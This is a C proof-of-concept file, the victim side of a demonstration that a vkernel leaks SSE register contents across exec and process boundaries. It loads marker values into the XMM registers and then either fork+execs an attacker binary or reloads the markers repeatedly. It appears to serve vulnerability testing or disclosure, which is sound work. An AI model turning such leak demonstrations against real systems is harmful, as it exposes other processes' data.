/*
 * DF-5556 victim — runs INSIDE the vkernel.
 *
 * Mode A (argv[1] == "fork"): load markers, then fork+exec the attacker.
 * The exec'd image's FIRST user-mode entry (before its _start) takes the
 * vkernel's npxdna first-use path, which seeds from the LIVE registers —
 * which still hold our markers because the vkernel's npxsave() never
 * wipes them.  Demonstrates the leak across the exec boundary with a
 * deterministic schedule.
 *
 * Mode B (default): continuously reload the markers for ~5 seconds so an
 * independently-scheduled attacker (started by the shell) observes them
 * at its own first user-mode entry — cross-process via pure scheduling.
 *
 * Output via raw write(2) of hand-built hex lines (stdio would use SSE).
 */
#include <unistd.h>
#include <string.h>

static unsigned long long marks[16][2];

static void
loadmarks(void)
{
	__asm__ volatile(
	    "movdqu  (%0),   %%xmm0\n\t"
	    "movdqu  16(%0), %%xmm1\n\t"
	    "movdqu  32(%0), %%xmm2\n\t"
	    "movdqu  48(%0), %%xmm3\n\t"
	    "movdqu  64(%0), %%xmm4\n\t"
	    "movdqu  80(%0), %%xmm5\n\t"
	    "movdqu  96(%0), %%xmm6\n\t"
	    "movdqu  112(%0),%%xmm7\n\t"
	    "movdqu  128(%0),%%xmm8\n\t"
	    "movdqu  144(%0),%%xmm9\n\t"
	    "movdqu  160(%0),%%xmm10\n\t"
	    "movdqu  176(%0),%%xmm11\n\t"
	    "movdqu  192(%0),%%xmm12\n\t"
	    "movdqu  208(%0),%%xmm13\n\t"
	    "movdqu  224(%0),%%xmm14\n\t"
	    "movdqu  240(%0),%%xmm15\n\t"
	    :
	    : "r" (marks)
	    : "memory");
}

int main(int argc, char **argv)
{
	struct { long sec, nsec; } ts;
	int i;

	for (i = 0; i < 16; i++) {
		marks[i][0] = (unsigned long long)i;  /* low 64: reg index */
		marks[i][1] = 0xDF555600DEADBEEFULL;  /* high 64: magic    */
	}

	if (argc >= 2 && strcmp(argv[1], "fork") == 0) {
		pid_t pid;

		loadmarks();			/* markers now LIVE */
		pid = fork();
		if (pid == 0) {
			execl("/root/attacker", "attacker", (char *)NULL);
			write(2, "EXEC_FAILED\n", 12);
			_exit(9);
		}
		if (pid > 0) {
			int st;
			wait(&st);
			write(2, "FORKRUN_DONE\n", 13);
		}
		return 0;
	}

	/* Mode B: spin-reload for ~5 seconds */
	for (i = 0; i < 2500; i++) {
		loadmarks();
		ts.sec = 0; ts.nsec = 2000000;	/* 2ms */
		nanosleep(&ts, NULL);
	}
	write(2, "SPIN_DONE\n", 10);
	return 0;
}
